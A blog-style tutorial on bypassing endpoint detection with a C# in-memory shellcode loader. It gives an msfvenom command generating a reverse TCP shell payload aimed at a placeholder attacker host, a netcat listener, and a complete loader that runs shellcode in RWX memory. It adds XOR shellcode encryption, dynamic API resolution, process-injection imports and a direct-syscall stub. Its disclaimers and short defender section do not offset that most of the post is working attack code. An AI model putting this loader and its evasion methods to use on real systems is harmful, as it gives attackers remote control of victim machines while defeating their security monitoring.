Skip to content

Understanding EDR Evasion Techniques - C# Reverse Shell Implementation

Published: at 10:15 AM

Understanding EDR Evasion Techniques: C# Reverse Shell Implementation

⚠️ Disclaimer: This content is provided strictly for educational purposes to enhance understanding of cybersecurity techniques and defenses. The techniques described here should only be used in authorized security testing environments with explicit permission. Unauthorized use of these methods is illegal and unethical.

Introduction

Modern Endpoint Detection and Response (EDR) solutions have become increasingly sophisticated in detecting malicious activities. Understanding how attackers bypass these protections is crucial for defenders to build better security controls. This guide explores the technical implementation of a C# reverse shell that uses in-memory execution techniques to evade traditional security measures.

Core Concepts

In-Memory Execution

Traditional malware often writes files to disk, making detection easier for antivirus solutions. In-memory execution avoids this by:

Windows API Functions

Three critical Windows API functions enable this technique:

  1. VirtualAlloc: Allocates memory in the process’s virtual address space
  2. CreateThread: Creates a thread to execute code
  3. WaitForSingleObject: Waits for thread completion

Implementation Guide

Step 1: Generate Shellcode with msfvenom

First, generate the shellcode payload using Metasploit’s msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f csharp

This generates C# formatted shellcode for a reverse TCP shell. Key parameters:

Step 2: Set Up a Listener

On the attacker’s machine, establish a listener:

nc -lvnp YOUR_PORT

This creates a netcat listener that will receive the reverse shell connection.

Step 3: Complete C# Implementation

Here’s the full C# implementation with detailed comments:

using System;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
    class Program
    {
        // Import necessary Windows API functions
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateThread(
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out uint lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint WaitForSingleObject(
            IntPtr hHandle,
            uint dwMilliseconds);

        // Constants for memory allocation
        const uint MEM_COMMIT = 0x1000;
        const uint MEM_RESERVE = 0x2000;
        const uint PAGE_EXECUTE_READWRITE = 0x40;
        const uint INFINITE = 0xFFFFFFFF;

        static void Main(string[] args)
        {
            // Replace this shellcode with the one generated by msfvenom
            byte[] shellcode = new byte[] {
                /* Your shellcode bytes go here */
                // Example format:
                // 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
                // 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
                // ... more bytes ...
            };

            // Allocate memory for the shellcode
            IntPtr addr = VirtualAlloc(
                IntPtr.Zero,                    // Let system choose address
                (uint)shellcode.Length,         // Size of shellcode
                MEM_COMMIT | MEM_RESERVE,       // Allocation type
                PAGE_EXECUTE_READWRITE);        // Protection (RWX)

            if (addr == IntPtr.Zero)
            {
                Console.WriteLine("[-] Memory allocation failed.");
                return;
            }

            // Copy shellcode to allocated memory
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);

            // Create a thread to execute the shellcode
            IntPtr hThread = CreateThread(
                IntPtr.Zero,    // Default security attributes
                0,              // Default stack size
                addr,           // Thread start address (shellcode)
                IntPtr.Zero,    // No parameters
                0,              // Run immediately
                out uint threadId);

            if (hThread == IntPtr.Zero)
            {
                Console.WriteLine("[-] Thread creation failed.");
                return;
            }

            // Wait for the thread to finish execution
            WaitForSingleObject(hThread, INFINITE);
        }
    }
}

Step 4: Compilation

Compile the C# program using the C# compiler:

csc Program.cs

This generates Program.exe that, when executed on the target system, establishes a reverse shell connection.

Advanced Evasion Techniques

1. Shellcode Encryption

Encrypt shellcode to avoid signature-based detection:

static byte[] XORDecrypt(byte[] data, byte key)
{
    byte[] decrypted = new byte[data.Length];
    for (int i = 0; i < data.Length; i++)
    {
        decrypted[i] = (byte)(data[i] ^ key);
    }
    return decrypted;
}

// Usage
byte[] encryptedShellcode = { /* Encrypted bytes */ };
byte[] shellcode = XORDecrypt(encryptedShellcode, 0xAA);

2. Dynamic API Resolution

Avoid static imports by resolving APIs at runtime:

[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);

// Dynamically resolve VirtualAlloc
IntPtr kernel32 = LoadLibrary("kernel32.dll");
IntPtr virtualAllocAddr = GetProcAddress(kernel32, "VirtualAlloc");

3. Process Injection

Inject into legitimate processes:

[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(
    int dwDesiredAccess,
    bool bInheritHandle,
    int dwProcessId);

[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(
    IntPtr hProcess,
    IntPtr lpAddress,
    uint dwSize,
    uint flAllocationType,
    uint flProtect);

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
    IntPtr hProcess,
    IntPtr lpBaseAddress,
    byte[] lpBuffer,
    uint nSize,
    out UIntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
    IntPtr hProcess,
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    uint dwCreationFlags,
    out IntPtr lpThreadId);

4. Syscall Techniques

Bypass user-mode hooks using direct syscalls:

// Assembly code for direct NtAllocateVirtualMemory syscall
byte[] syscallStub = {
    0x4C, 0x8B, 0xD1,              // mov r10, rcx
    0xB8, 0x18, 0x00, 0x00, 0x00,  // mov eax, 0x18 (syscall number)
    0x0F, 0x05,                    // syscall
    0xC3                           // ret
};

Detection and Defense

For Defenders

  1. Memory Scanning: Monitor for RWX memory allocations
  2. Behavioral Analysis: Track unusual thread creation patterns
  3. API Monitoring: Log suspicious API call sequences
  4. Process Relationships: Monitor parent-child process anomalies
  5. Network Detection: Identify reverse shell traffic patterns

Detection Signatures

Common indicators of this technique:

Mitigation Strategies

  1. Enforce W^X Policy: Prevent memory from being writable and executable
  2. API Hooking: Monitor and block suspicious API usage
  3. Code Integrity: Verify digital signatures of executing code
  4. Network Segmentation: Limit outbound connections
  5. Application Control: Whitelist approved applications

Responsible Testing Guidelines

Testing Environment

Always test in controlled environments:

Ensure compliance with:

Documentation

Maintain detailed records of:

Educational Resources

Further Reading

  1. Windows Internals: Understanding Windows memory management
  2. Malware Analysis: Reverse engineering techniques
  3. EDR Evasion: Advanced bypass methods
  4. Secure Coding: Building resilient applications

Practice Platforms

Ethical Considerations

Red Team Perspective

When conducting authorized security assessments:

Blue Team Perspective

For defenders implementing controls:

Conclusion

Understanding EDR evasion techniques is crucial for both offensive and defensive security professionals. This guide demonstrates how attackers leverage Windows APIs and in-memory execution to bypass traditional security controls. By studying these techniques, defenders can:

Remember that with great knowledge comes great responsibility. Use these techniques only for legitimate security testing and always prioritize ethical considerations in your security practice.

References

  1. Microsoft Documentation: Windows API Reference
  2. MITRE ATT&CK: Process Injection Techniques
  3. “The Art of Memory Forensics” by Michael Hale Ligh et al.
  4. “Windows Internals” by Mark Russinovich et al.
  5. SANS: Advanced Penetration Testing Course Materials